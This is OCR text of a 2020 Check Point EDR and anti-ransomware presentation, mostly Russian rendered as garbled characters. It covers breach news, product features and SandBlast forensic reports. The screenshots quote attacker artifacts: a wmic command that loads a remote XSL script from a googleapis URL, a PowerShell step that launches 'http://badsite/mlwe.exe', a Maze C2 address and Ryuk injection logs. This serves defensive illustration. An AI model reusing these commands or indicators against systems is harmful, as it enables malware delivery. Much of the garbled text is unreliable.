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This Android backdoor contains the following features: Rampa nt Kitten

September 18, 2020
e Steal existing SMS messages

(JForward two-factor authentication SMS messages to a phone number provided by the attacker-controlled C&C server|
e Retrieve personal information like contacts and accounts details
e [nitiate a voice recording of the phone’s surroundings

e Perform Google account phishing

Cp<JE>

CHECK POINT RESEARCH i

e Retrieve device information such as installed applications and running processes
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NMPUMEPDBI HEAABHUX YCMNELUHbIX KUBEPATAK B MUPE

Magazine News Columns Management Physical Cyber Sectors Exclusives

SANS Institute suffers data breach due to phishing attack
August 13, 2020

SANS Institute, a provider of cybersecurity training and certification services, lost
approximately 28,000 items of personally identifiable information (PII) in a data breach that

occurred after a single staff member fell victim to a phishing attack.

Canon confirms ransomware attack in internal memo

08/06 update added below. This post was originally published on August, 5th, 2020.

Canon has suffered a ransomware attack that impacts numerous services, including Canon's email,
Microsoft Teams, USA website, and other internal applications. In an internal alert sent to employees,
Canon has disclosed the ransomware attack and working to address the issue.

Maze claims to have stolen 10TB of data from Canon

https://www.securitymagazine.com/articles/93073-sans-institute-suffers-data-breach-due-to-phishing-attack
WELCOME TO THE FUTURE 0F cy ghttps:#iwwwibleepingcomputer.com/news/security/canon-confirms-ransomware-attack-in-internal-memo/#employee C p < r >
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Ton BpeaoOHOCOB:
Emotet (15%), Phorpiex (14%), Mylobot (5%), Trickbot (5%)
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©2020 Check Point Software Technologies Ltd. https://pages.checkpoint.com/cyber-attack-2020-trends.html -



https://threatpoint.checkpoint.com/ThreatPortal/threat?threatType=malwarefamily&threatId=4726
https://pages.checkpoint.com/cyber-attack-2020-trends.html

3ALLUTA YCTPOUCTB NOJ/Ib3OBATE/IEU

f:) O6HOBWTE cefdac

Q MposepuTs cUCTEMY CEAYAC
2 MogkmounTs

== [logKnounTECA K..

£ JonoauutensHo

Check Poi

Disconnected

Windows (+Server), Mac OS X,

SandBlast

bBneiig Compliance
MPMMEHEHWE BCEX NONMTHK, HET HAPYLWEHMIA Npasmn,

Bneiig Anti-Malware
HaiaeHk! sapaweHHele obberTel (150)

Bneiig Media Encryption and Port Protection
YCTpoicTEa He 0DHaPYHEH:!

Bbneiawl Firewall n Application Control

Heckonsko nporpamM (0) v Heckoneko noaknoderui (16) sabn...

bneiig Full Disk Encryption
SAWMDPOBEHD HECKONBKD YCTPONCTE (2).

bBneiing Remote Access VPN
Lntos no yMondYaHuio: emea-cp.checkpoint. com

Bneiig Capsule Docs
Bnelia Capsule Docs yNpaENAETCA M3BHE

Bneiig URL Filtering

MpH4KHa OTKMKDHEHWA Gnefga: OTKAKKYEHD NONMTHKOA KOHEY, ..

Bneiin Anti-Bot
BE.‘J ETCA MOHMTODKMHE

bneiiq Forensics
MpoaHanUaMpoBaH 100 cnydaiis

Breilq 3Mynsauu yrpos i 3ainTel 0T SKCNAOHT OB
HaitaeHe! sapaweHHeple obberTel (33)
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TEXHONOINNN NPEAOTBPALLIEHUA U P
PEATUPOBAHUA HA KOHEHHOU CTAHUUA

N3BeCTHbIe

SIGNATURE BASED FILE
DETECTION

AHTUBUPYC

FILE REPUTATION URL REPUTATION

yrpos3bol CurHaTypsbl, penyTtayma
(| \Vi
MLSTATICANALYSIS  THREAT EMULATION  REVILLAGE ) o Tic ANALYSIS
y NGAV & EDR FILE STRUCTURE ESSCALATION  DEEP LEARNING
rpo3bl BRUTE FORCE ML BASED RULES  THREAT
P MN/MO, necounnug, GENERICRULES  pRoTECTION EXTRACTION  ANTI-EVASION
y MALWARE
noseaeH4YeCKnu
Hy/1eBoro gHA A T, ANTI- ML STATIC ANALYSIS  ANTI-BOT FAMILIES DNA

aHanu3 RANSOMWARE = MALWAREDNA — \\0 o1 ELESS

PROTECTION RDP PROTECTION
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YEM 3AHUMAETCS EDR HA PABOYEN |
CTAHUUU?
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[lpouecchbl DCOI\fI - DDE HOUSTON
K .
daninbl Log?ilng H LNK « |
é AN
WE HAVER PROBLEM:..
C Browser Scheduled ¥
€Tb M pownload []  Task 5/
Peectp L Named || Screen
P Objects Capture dopeH3nKH
Cucrem. Remote WMI WMI

Bbi3oBbl || Logon [] Persistence || Execution
| | |
[Nonb3o- H(ypHan|3| AMS|
BaTe/b cobbITU

CeHcopbl

WELCOME TO THE FUTURE OF CYBER SECURITY
©2020 Check Point Software Technologies Ltd. 8



HEJ/1Ib3A TAK NMPOCTO B3ATb U PACC/IEAOBATDb
UHUUAOEHT Gheck Point

Kakou cTaTyc yrposbi?
JloxkHoe cpabaTbiBaHue?

p Y710 3TO Takoe? (KnaccmdpumKaumna yrposbl U NPUOPUTET)

HacKonbKo npeycnen 310ymbllNeHHUK? (LLenoyKa aTaKku)

Kakon yuiep6? (yyeTku, AaHHbIE)

KaK OCTaHOBUTbL dTdRy, BblZ1Ie4nUTb CTaHUWNUN, BOCCTAHOBUTDb ,ﬂ,aHHbIe?

Kak npenoTBpaTtuTb NogobHbIe aTaku B byayLiem?

WELCOME TO THE FUTURE OF CYBER SECURITY
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B AOMALWLHUX YC/TOBUAX

J Henb3a nsonmposatb CTaHUMUIO

J Henb3a «nepe3anutb»

dMoTepsAH yganeHHbIM aoctyn?

(J Kak noNHOCTbIO BbI/IEYNUTH?

(J Kak BoccTaHOBUTb AaHHblE?

(d KaKue elle ycTpolicTea B
ANOMALLHEN CeTU ycnenu
3apa3nTbca?
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ABTOHOMHDbI iy
| fpeporepalueHme Check Point

EDR cnewuT y A UAn «mar»
Ha NOMOLLb

AHanu3 unm

«DEeTEeKTUB»

PearnposaHue nnu

Mogkntoyaem NN «TePMMUHATOP»

M aBTOMATU3NPYEM
OborauieHne AaHHbIX
Ha Kaxkaom 3tane! unmn «dbunaHTpon»

Uctopua cobbiTnmn
nnu «bapa»

el | Busyanusauma mam
«npoatocep»
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This might be a Phishing e-mail. checkpoint.com Un-Delivered Messages - _Phishing
CoobuieHne

@ E @ @ E @ Cobpanue E’ v %) v % v 8 EI% v P:I v

Ypanute ApxuBuposats Ortseture OTBeTuTs Mepecnars E Bne Mep Np Mpoy /uenpoyTenHbie  3apate K
Bcem noura KaTeropuu WCNoNHeHuio

This might be a Phishing e-mail. checkpoint.com Un-Delivered Messages

Komy: Russia

@ checkpoint.com Mail Retriever <ADMIN@Ozertulgan.com> noHesfensHuk, 2 Hosbps 2020 r. 8 02:25

Check Point Anti-Phishing has detected that this email was sent by a malicious user.

Report not Phishing

Hi:,
checkpoint.com administratot's policy has prevented the delivery of 7 new emails to your inbox as of 10/2/2020 00:32:40 a.m. as your mailbox storage has exceeded its limit.

retrieve your held messages below to solve this error.

A Fix checkpoint.com problem now

checkpoint.com Mail Team

2020 © All rights reserved.

Email secured by Check Point



@ ‘ v Meroauueckuit AOKyMeHT - &1 X Sample .ppt and .pptx downlo: X ‘ \\',b CHECKPOINT X ‘ L4 Check Point SandBlast X | e Login b4 [ Ll Check Point SandBlast
S C 0O @ file-examples.com/index.php/sample-documents-download/sample-ppt-file/
Flle Examples SAMPLE VIDEOS SAMPLE AUDIO FILES SAMPLE DOCUMENTS SAMPLE IMAGES OTHER FILES
Search:
250 kB ppt
500 kB ppt
1MB ppt @

Showing 1 to 3 of 3 entries

Associated MIME types:

application/mspowerpoint

application/powerpoint

application/vnd.ms-powerpoint

application/x-mspowerpoint
application/vnd.openxmlformats-officedocument.presentationml.presentation

https://file-examples-com.github.io/uploads/2017/08/file_example_PPT_1MB.ppt 6 h
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Threat Details Report Actions ~ [=1 Check Point © EMULATION VIDEOS

@ 0b193494ffbbc5396886715253582aea075f97f5c5e79b58de9%a... y S i

23401KB | EXE | HASHlist -

\ -]

™ 7
Malicicus Detect Critical Trojan

(& ATTACKVECTOR | 11/02/201917:07

® - 3L

ADVANCED FORENSICS
127.0.0.1 Ob193494ffbbc539688671525358... 127.0.0.1 L]

%) Win10 64b, Office 2016, Adobe DC

R MALWARE FAMILY . B N e
Win7, Office 2013, Adobe 11

WinZ 1 64b, Office 2013, Adobe 11

Ransommware that is distributed via the dark web and targets mainky Scandinavia and the English-speaking countries. Win7, Office 2003/7, Adobe 9
GandCrab is distributed via the Rig and GrandSoft exploit kits, as well as email spam. The Ransomware is operated inan
affiliates program, with those joining the program paying 30%-40% of the ransom revenues to ‘GandCrab author. In_.. (¥) Win7, Office 2010, Adobe 9.4

) WinXP, Office 2003/7, Adobe 9

Similarity Analysis /\\
NSS».

Sirmilar code blodes Code block 1 of 1

Similar behavioral 10Cs mov edl, edi
o o, RECOMMENDED
Similar hashes mov ebp, esp
’ - dword ptr [ebp + B]
Similar commumnication

a L ]
/12 om0l e 1202 21/02 0203

©2020 Check Point Software Technologies Ltd.
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6 TREE VIEW (67 processes, 52 hidden) = PASHAP-G4: analyzer567409017045 @ .@. o

certutil.exe 2156
Trigger: c:\windows\system32\certutil.exe
Deobfuscate/Decode’Files.or Information, Execution through API

wmic.exe 7724 wmic.exe 1960 bitsadmin.exe 2472 conhost.exe 5028
Attack Start, Modify Registry Modify Registry, Windows Management Instrumentation BITS Jobs, Remote File Copy Execution through API
Windows Management Instrumentation, User Execution XSL Script Processing, Execution through API Execution through API
XSL Script Processing...

conhost.exe 1944
Execution-through API
cmd.exe 5788
Dropped DII, Abnormal Behavior

Execution through Module Load, Execution through API
Command-Line Interface...

Powe rS h e I Il W M I’ IVI S HTA’ Wi n d OWS Sc ri ptl eee Execution through ModJFé;fggadz,'sgge?vgr;g 0 Execution through N

Execution through API

Process Security Reputation File Ops (17) Network Ops (0)  Registry Ops (1)  Injection/Hook Ops (0)  Suspicious Events (4) Damage (0)

Process Argument
os get PBCRBTEX, QWNPJSTE, OSFKQCT], lastbootupdate /format:"http://storage.googleapis.com/bradok/09/vv.txt#3350134"

WELCOME TO THE FUTURE OF CYBER SECURITY
©2020 Check Point Software Technologies Ltd. 16



NSS Labs Advanced Endpoint Protection Test 2020

Check Point

100,00%
99,50% M Check Point
99,00% - W Cybereason PenTtuHr «AA»
98,50% - B Elastic 99.12% 3dppeKTUBHOCTb 3aLUUTbI
98,00% - 0

,00% B FortiEDR 100% 6nokupoBKa yrpo3 B rno4vte 1 sBed
97,50% - Sophos 100% 3awmTa oT TEXHUK 0OXxoaa
97,00% - 0.8% NoXXHbIX cpabaTbiBaHUM
96,50% - M PaloAlto
96,00% - BitDefender
95,50% - M FortiClient
95,00% -

Total Block Rate

NSSY)

RECOMMENDED

WELCOME TO THE FUTURE OF CYBER SECURITY
©2020 Check Point Software Technologies Ltd. 17
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MonHana uenouyka KMbep-aTaku
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El Winword.exe

cmd.exe PowerShell.exe

AN

Winword.exe Moao3puTenbHbIN
BpenoHoCHbIN

3anyck http://badsite/mlwe.exe .
KoA B > e > >
[OKYMEHTe
Explorer.exe . %
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e

msosgm.exe

4

EDR
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Py4yHOM aHaNM3 He rapaHTUpPYyeT pe3ynbraT
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ABTOHOMHbI EDR onpepgensaer rpaHu1Lbl aTaKkn
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---------------------------------------------------

B AHTMBUPYC
Bl % 7

ol

v

=

P
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Winword.exe

BpenoHoCHbIN

Koz, B

. cmd.exe PowerShell.exe .

Nopo3putenbHbIN ) ‘-

3anyck - @ @ http://badsite/mlwe.exe . R :

]

AOKYyMeHTe U

A Y ’
‘Q '0
L 4
------------------------------- -~ ‘::---------------------------'
e .
~§ A 3
. > Y
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~
§~ "
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Wininit.exe Excel.exe 5 neT COBepLueHCTBOBaHMH
dJITOPUTMOB aHA/TU3Aa.

5 nateHTOB

o EE = s .

WELCOME TO THE FUTURE OF CYBER SECURITY
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LLIN®POBAJ/IbLLIUKOB

Anti Ransomware =

A\ He Bbikniouaiite KOMNBIOTEP W He OTKAKOUaIiTe NUTaHKe

PN

AHANN3

~—
OBHAPY>XEHA NMPOrPAMMA-LLAHTAXNCT®

BrinonaHaeTcA aHanuz MHGeKL MK
3T0 MOXKET 23HATE HECKO/IbKO MWHYT...

J=] Check Point

.. WannaCry... NotPetya... BadRabbit... GrandCrab...

WELCOME TO THE FUTURE OF CYBER SECURITY
©2020 Check Point Software Technologies Ltd.

ABTOMATUYECKOE JIEYMEHUE U -
BOCCTAHOBJ/IEHUE AAHHbIX HA MPUMEPE Shegk oint

Anti Ransomware

GLINK BOCCTAHOBNEHDI
@ainel BOCCTAHOBAEHH B: PacnonoskeHWe MCXoAHEIX Gainoe

3AKPBITE

J&1 Check Point

Ryuk... RobinHood... Maze... Sodinokibi...

24
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System32
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PE3Y/IbTAT PABOTbl ABTOHOMHOIO EDR
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| © 0 o .
SandBlast” Forensics S 9 ¢ <« € i} Check Point
OVERVIEW GENERAL ENTRY POINT REMEDIATION BUSINESS IMPACT SUSPICIOUS ACTIVITY INCIDENT DETAILS SOFTWARE TECHNOLOGIES LTD.
Y | & | ()
¢ A : [£1] @
CLEANED Maze HIGH Endpoint Anti-Ransomware c:\windows\system32\wbem\wmic.exe - ransomware.win.shdwdel - Administrator
status : malware family - severity - triggered by - trigger : protection name - remote user
Hin ATTACK STATS What sort of connections and processes were involved? ‘ BUSINESS IMPACT What was the potential damage done?
@ Remote Logon @ Malicious — 8 Data
© Internal Processes ~—*) Ransom
‘ BUSINESS IMPACT (1 category, 84 events) . BOAZ-GAR-WINDOW: 8D15828C-7457-4498-BES0-A4E31F6BC519

These are potentially important events that have business impact.

v & Data Ransom (84 files, 72 recovered, 12 unrecovered) — Bce d)aﬁnbl nonb3OBaTenﬂ BOCCTaHOBneHbl

User files that were likely encrypted in the incident. ( K p O M e B p e M e H H b I X)
Show 100 ~ entries Search: Q
Status y File Name File Path % Encrypt Time § Backup Time % Restore Time
C maid with the flaxen hair.mp3 c:\users\administrator\desktop\maid with the flaxen hair.mp3 23.07.2020, 22:59:46 23.07.2020, 22:59:47 23.07.2020, 23:00:44
p p p
Ce lighthouse.jpg c:\users\administrator\desktop\lighthouse.jpg 23.07.2020, 22:59:46 23.07.2020, 22:59:46 23.07.2020, 23:00:44

Ce jellyfish.jpg c:\users\administrator\desktop\jellyfish.jpg 23.07.2020, 22:59:46 23.07.2020, 22:59:46 23.07.2020, 23:00:44



BbICTPOE JIEHEHWUE — MEHDBLUE YLLEPBA

Check Point
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Knaccnuyeckmin EDR/XDR (pearnpoBaHue Bpy4YHYHO):

‘ BUSINESS IMPACT What was the potential damage done?

ja—- Data lh ‘I Privacy
-
l@' 651 Changes Violation

m..wo
- e Q) conhost.exe 3372
TS @Y ot 7 QN o1 7 e @) e @) o e ©)

: Y
ey @) smeens @)

I®

powershell exe 5768

p—— ) Y p—— ) W ) Y , ] Attack Start, Abnormal Behavior
o @) ST RS @ .. Yo ::O ermotezs @ evmiwscss @) Dropped Executable, Dropped File Deletion
Dropped Script..
ORI | K e ) i @)’ “ ) ““.
s @ p— mrbdfz.exe 5044
o Q' |: gger. frrl_::r:texe
T —— —— ; > 'rocess in AppData
= = R «ABTOHOMHbIN» EDR:
+ ' L
aasapeys ) i @)
- e Q)
" . :
e @ . ;.:""ff-".'f—"if'“é e Q) ‘ BUSINESS IMPACT © What was the potential damage done?
e _ e @ '

o

No damage detected
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curity Planet INMAOEP PbIHKA EDR

v/ ABTOMaTUUYecKoe pearmposaHue
v’ [pocToTa MCMOob30BaHUA N YNpaBieHns
v’ TonHbIN GYHKUMOHAN NO ONpaBaaHHON LeHe

«MoxeT ObITb, ecTb Doree aelleBbie NPOAYKTbI, MOXET ObITb, ECTb
boriee NpoABUHYTbIE, HO HUKAKNE U3 HUX HE npeanaratoT Sy4Llyro
©e30nacHOCTb 3a CBOKO LIEHY.»

Detection | Response | Management | Deployment | Ease of use | Value | Support

Check Point 4.4 4.6 4.7 4.1 4.9 4.6 4.5
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SandBlast™ Forensics

104
o EY

0]

GENERAL

9

ENTRY POINT

REMEDIATION

¢

BUSINESS IMPACT

y_
(1=

SUSPICIOUS ACTIVITY

=

INCIDENT DETAILS

Check Point

SOFTWARE TECHNOLOGIES LTD.

O AGENT

@ MALICIOUS REPUTATION BOAZ-GAR-WINDOW: 8D15828C-7457-4498-BE80-A4E31F6BC519

o All4)

@.* http://91.218.114.4/deojk.php

CnC Server
classification

e X
A
URL
type

Maze
malware family

» Additional Intelligence

v, 91.218.114.4
G:;:i

CnC Server
classification

IPv4
type

Maze
malware family

» Additional Intelligence

8540030a0ea3e18e84af7ce026ab9cad

o R
fA
Malware Win32 EXE
classification type

Maze
malware family

»> Additional Intelligence

Files (1) Domains (0) URLs (1) IPs (2) ]

® ~ 4 il

61 Critical Low Russian Federation N/A

risk severity confidence country city

® N ® i L
100 Critical High Russian Federation N/A
risk severity confidence country city
100 High High 64/73 (87%) 20.04.2020, 17:22:34
risk severity confidence virus total first seen on
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XPOHO/1I0MMA TEXHUK U TAKTUK COINNIACHO B
MATPULE MITRE ATT&CK St

‘% MITRE ATTE&CK™ Matrix PASHAP-G4: analyzer1567409126857

https://attack.mitre.org/

These are the tactics and techniques as described by the MITRE ATT&CK™ framework.

Initial Access Execution Persistence Privilege Escalation Defense Evasion Credential Access Discovery Lateral Movement Collection ggm:ﬂfnd i Exfiltration

Remote Logon Command-Line Registry Run Keys / Process Injection Modify Registry Browser Bookmark Data from Local Commonly Used Port Data Encrypted for
Interface Startup Folder Discovery System Impact

= 4 events it

Valid Accounts Execution through Scheduled Task Sche
AP PRIVILEGE ESCALATION PROCESS INJECTION m MEDIUM SEVERITY

Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may
Scheduled Task Valid Accounts e evade detection from security products since the execution is masked under a legitimate process.

Show 10 = entries

Scripting Description

ryuk.exe (PID:1036) succeeded to inject into cwindows\system32\sihost.exe (PID: 2364)
4events ryuk.exe (PID:1036) succeeded to inject into c\windows\system32\runtimebroker.exe (PID: 2588)
User Execution _ . . . \ . . .
ryuk.exe (PID:1036) succeeded to inject into ci\windows\systemapps\shellexperiencehost_cwsn1h2txyewy\shellexperiencehost.exe (PID: 3568)
ryuk.exe (PID:1036) succeeded to inject into c\windows\system32\dllhost.exe (PID: 2948)

ryuk.exe (PID:1036) succeeded to inject into c\windows\system32\taskhostw.exe (PID: 2020)

ryuk.exe (PID:1036) succeeded to inject into c\windows\system32\svchost.exe (PID: 4800)
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Yrpo3bi?

SandBlast Forensics

¢
CLEANED
status

© 0 2 (5]

OVERVIEW GENERAL ENTRY POINT REMEDIATION

HIGH
severity

Endpoint Anti-Ransomware
triggered by

Maze
malware family

BUSINESS IMPACT

¢

@

c:\windows\system32\wbem\wmic.exe

trigger

SUSPICIOUS ACTIVITY

y .

= G

INCIDENT DETAILS

protection name

ransomware.win.shdwdel

1B
Check Point

SOFTWARE TECHNOLOGIES LTD

- Check Point

VARE TECHNOLOGIES LTD.

®

Administrator
remote user

Hi H ATTACK STATS

e ATTACKTYPES

bot

What sort of connections and processes were involved?

Malicious
Processes

Remote Logon
& Internal

O
3TO He NoXKHOoe cpabaTtbiBaHUeE?

s (8] o

evader ransomware trojan

‘ BUSINESS IMPACT

What was the potential damage done?

S 84t

Kakow yuwep6?

o ENTRY POINT

How did it enter the system?

Kak npoHuknun?
® ,

Administrator was remotely logged in via RDP. Incident was traced back to an execution or copy in explorer

ﬂ REMEDIATION

100%

2/2

& terminated processes

Were all incident created elements removed?

100%

1059/1059

: quarantined/deleted files

Bce BblneyeHO?

100%

72/72

Cé restored files

Ah ™
= MITRE ATT&CK

Initial Access

Remote Logon Internal

Valid Accounts

Tactics and techniques seen as defined by the MITRE ATT&CK™ framework

Execution Persistence Privilege Escalation Defense Evasion ntial Access

Execution through API Office Application Valid Accounts Valid Accounts

Startup

Registry Run Keys /
Startup Folder

Unsigned Process

User Execution Valid Accounts
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Discovery

Browser Bookmark
Discovery

Lateral Movement

Collection

Commonly Used Port

[NeTtann atakn n matpmuuya MITRE ATT&CK

Exfiltration Impact

PHP Script Access Data Encrypted for

Impact

Inhibit System Recovery
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MOMXHO TAK NMPOCTO B3ATb U PACCNNIEAOBATD
UHUUAOEHT Gheck Point

o Kakou cTaTyc yrposbi?
o JloxkHoe cpabaTbiBaHue?
0 Y10 3TO TaKoe? (KnaccnudpmKauma yrposbl N NPUOPUTET)

o HacKonbKo npeycnen 310ymbllNeHHUK? (LLenoyKa aTaKku)

0 Kakon yuiep6? (yyeTku, AaHHbIE)

o ATaKa OCTaHOB/1IEHA, CTAHLMK Bbl1eYeHbl, AdaHHble BOCCTaHOB/IEHbI

[MpoakTnBHbIN Nouck yrpo3 (Threat Hunting)
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